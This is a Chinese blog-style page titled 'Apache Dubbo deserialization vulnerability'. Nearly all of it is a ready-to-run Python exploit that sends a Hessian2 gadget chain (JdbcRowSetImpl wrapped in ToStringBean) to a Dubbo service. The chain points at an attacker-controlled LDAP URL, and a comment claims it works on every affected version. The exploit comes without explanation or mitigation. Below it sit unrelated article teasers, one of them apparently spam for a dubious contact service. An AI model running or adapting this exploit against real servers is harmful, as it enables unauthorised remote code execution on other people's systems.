Apache Dubbo反序列化漏洞

访客3年前 (2021-03-30)黑客文章781

# -*- coding: utf-8 -*-importsys fromdubbo.codec.hessian2 importDecoder,new_object fromdubbo.client importDubboClient iflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print(' Example: - python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')

标签: Apache Dubbo反序列化漏洞

返回列表

上一篇：三顾茅庐的主要内容（三顾茅庐赏析）

下一篇：浮躁的意思（你真的知道什么是浮躁吗）

相关文章

切皮蛋时，不要直接下刀切！饭店大厨都这样做，不粘连，不散花

切皮蛋时，不要直接下刀切！饭店大厨都这样做，不粘连，不散花

切皮蛋时，不要直接下刀切！饭店大厨都这样做，不粘连，不散花吃过皮蛋吗？相信是个中国人都吃过，而且都很爱吃，看着黑不溜秋的，那个美味是外国人无法理解的。外国人不喜欢吃皮蛋，那是因为他们不会吃，皮...

深圳高端微信是真的吗

很多人都会担心深圳高端模特微信是是真是假?实际上针对许多的一些深圳高端模特，她们会将自身的微信号码开展一系列的解决，让大量的人都掌握到这种女学妹，也让这种女学妹她们可以充分发挥的越变越好，这也是因为...

伊万·麦克格雷格：Disney+新剧《星球大战：欧比

近日，伊万·麦克格雷格在最新直播中透露：Disney+新剧《星球大战：欧比旺》将于今年春末在洛杉矶开拍，本剧此前有无数“已经开拍”和“拍摄地在英国、在波士顿”之类的小道消息，麦克格雷格笑说连他的父亲都...

开茶店需要办什么证件（开茶楼需要了解哪些方

射洪县工商和质检局：开办茶楼（具有一定规模的）除办理工商营业执照外，还需向食药部门申办“公共场地卫生许可证”、消防部门的“消防验收合格证”、环保部门申办“排污许可证”。家人赠予汽车如何过户？手...

佛山宠物领养（宠物猫狗领养骗局）

佛山宠物领养（宠物猫狗领养骗局）

佛山宠物领养（宠物猫狗领养骗局）我们从小就被教育要诚信，可是很多人都有上当受骗的经历，近来就在我们身边发生了很多起的宠物猫狗的骗局，不仅欺骗了人的感情，更关键的是伤害了想要领养猫咪狗狗的人！那么是...

我在机场花了 1980 办了张黑卡，这个运营套路厉害了

我在机场花了 1980 办了张黑卡，这个运营套路厉害了

这次从三亚凤凰机场出发返来，碰着一件事让我琢磨了一阵，叹服好手在民间。简朴说，就是我花了 1980 块钱办了张机场 VIP 黑卡。但过后发明，这其实是一个锋利的产物运营套路。黑卡会员权益包罗机建...